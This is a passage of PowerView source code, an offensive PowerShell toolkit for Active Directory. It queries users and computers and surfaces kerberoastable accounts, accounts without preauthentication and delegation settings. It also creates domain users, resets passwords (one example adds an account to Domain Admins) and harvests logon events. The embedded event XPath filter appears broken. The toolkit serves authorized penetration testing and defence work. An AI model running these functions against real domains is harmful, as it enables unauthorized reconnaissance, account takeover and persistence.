DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, + + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, + + [Switch] + $TrustedToAuth, + + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] + [Switch] + $PreauthNotRequired, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($UserSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + if (-not $UserSearcher) { + Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' + } + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } + else { $Results = $UserSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } + $User + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" + } + } + $UserSearcher.dispose() + } + } +} + + +function New-DomainUser { +<# +.SYNOPSIS + +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER AccountPassword + +Specifies the password for the created user. Mandatory. + +.PARAMETER Name + +Specifies the name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the user to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the user to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword + +Creates the 'harmj0y2' user with the specified description and password. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred + +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate user parameters + $User.SamAccountName = $Context.Identity + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + $User.Enabled = $True + $User.PasswordNotRequired = $False + + if ($PSBoundParameters['Name']) { + $User.Name = $Name + } + else { + $User.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $User.DisplayName = $DisplayName + } + else { + $User.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $User.Description = $Description + } + + Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" + try { + $Null = $User.Save() + Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" + $User + } + catch { + Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" + } + } +} + + +function Set-DomainUserPassword { +<# +.SYNOPSIS + +Sets the password for a given user identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +.PARAMETER Identity + +A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +.PARAMETER AccountPassword + +Specifies the password to reset the target user's to. Mandatory. + +.PARAMETER Domain + +Specifies the domain to use to search for the user identity, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('UserName', 'UserIdentity', 'User')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ 'Identity' = $Identity } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) + + if ($User) { + Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" + try { + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + + $Null = $User.Save() + Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" + } + catch { + Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" + } + } + else { + Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" + } + } +} + + +function Get-DomainUserEvent { +<# +.SYNOPSIS + +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +.PARAMETER ComputerName + +Specifies the computer name to retrieve events from, default of localhost. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events to retrieve. Default of 5000. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer. + +.EXAMPLE + +Get-DomainUserEvent + +Return logon events on the local machine. + +.EXAMPLE + +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) + +Return all logon events from the last 3 days from every domain controller in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogonEvent')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + # the XML filter we're passing to Get-WinEvent + $XPathFilter = @" + + + + + + + + + + + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and + (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) + ] + ] + and + *[ + EventData[ + ( + (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') + or + Data[@Name='TargetUserName']='ANONYMOUS LOGON' + or + Data[@Name='TargetUserSID']='S-1-5-18' + ) + ] + ] + + + +"@ + $EventArguments = @{ + 'FilterXPath' = $XPathFilter + 'LogName' = 'Security' + 'MaxEvents' = $MaxEvents + } + if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + $EventArguments['ComputerName'] = $Computer + + Get-WinEvent @EventArguments| ForEach-Object { + $Event = $_ + $Properties = $Event.Properties + Switch ($Event.Id) { + # logon event + 4624 { + # skip computer logons, for now... + if(-not $Properties[5].Value.EndsWith('$')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + TargetUserSid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonId = $Properties[7].Value + LogonType = $Properties[8].Value + LogonProcessName = $Properties[9].Value + AuthenticationPackageName = $Properties[10].Value + WorkstationName = $Properties[11].Value + LogonGuid = $Properties[12].Value + TransmittedServices = $Properties[13].Value + LmPackageName = $Properties[14].Value + KeyLength = $Properties[15].Value + ProcessId = $Properties[16].Value + ProcessName = $Properties[17].Value + IpAddress = $Properties[18].Value + IpPort = $Properties[19].Value + ImpersonationLevel = $Properties[20].Value + RestrictedAdminMode = $Properties[21].Value + TargetOutboundUserName = $Properties[22].Value + TargetOutboundDomainName = $Properties[23].Value + VirtualAccount = $Properties[24].Value + TargetLinkedLogonId = $Properties[25].Value + ElevatedToken = $Properties[26].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') + $Output + } + } + + # logon with explicit credential + 4648 { + # skip computer logons, for now... + if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + LogonGuid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonGuid = $Properties[7].Value + TargetServerName = $Properties[8].Value + TargetInfo = $Properties[9].Value + ProcessId = $Properties[10].Value + ProcessName = $Properties[11].Value + IpAddress = $Properties[12].Value + IpPort = $Properties[13].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') + $Output + } + } + default { + Write-Warning "No handler exists for event ID: $($Event.Id)" + } + } + } + } + } +} + + +function Get-DomainGUIDMap { +<# +.SYNOPSIS + +Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-Forest + +.DESCRIPTION + +Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for +all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. +Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) +for objects where objectClass=controlAccessRight, translating the GUIDs again. + +Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable containing a GUID -> Readable Name mapping. + +.LINK + +http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $ForestArguments = @{} + if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } + + try { + $SchemaPath = (Get-Forest @ForestArguments).schema.name + } + catch { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + if (-not $SchemaPath) { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + + $SearcherArguments = @{ + 'SearchBase' = $SchemaPath + 'LDAPFilter' = '(schemaIDGUID=*)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SchemaSearcher = Get-DomainSearcher @SearcherArguments + + if ($SchemaSearcher) { + try { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $SchemaSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') + $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' + $RightsSearcher = Get-DomainSearcher @SearcherArguments + + if ($RightsSearcher) { + try { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $RightsSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $GUIDs +} + + +function Get-DomainComputer { +<# +.SYNOPSIS + +Return all computers or specific computer objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all computer objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Unconstrained + +Switch. Return computer objects that have unconstrained delegation. + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER Printers + +Switch. Return only printers. + +.PARAMETER SPN + +Return computers with a specific service principal name, wildcards accepted. + +.PARAMETER OperatingSystem + +Return computers with a specific operating system, wildcards accepted. + +.PARAMETER ServicePack + +Return computers with a specific service pack, wildcards accepted. + +.PARAMETER SiteName + +Return computers in the specific AD Site name, wildcards accepted. + +.PARAMETER Ping + +Switch. Ping each host to ensure it's up before enumerating. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainComputer + +Returns the current computers in current domain. + +.EXAMPLE + +Get-DomainComputer -SPN mssql* -Domain testlab.local + +Returns all MS SQL servers in the testlab.local domain. + +.EXAMPLE + +Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname + +Return the dns hostnames of servers trusted for delegation. + +.EXAMPLE + +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained + +Search the specified OU for computeres that allow unconstrained delegation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [Switch] + $Unconstrained, + + [Switch] + $TrustedToAuth, + + [Switch] + $Printers, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePrincipalName')] + [String] + $SPN, + + [ValidateNotNullOrEmpty()] + [String] + $OperatingSystem, + + [ValidateNotNullOrEmpty()] + [String] + $ServicePack, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [Switch] + $Ping, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + 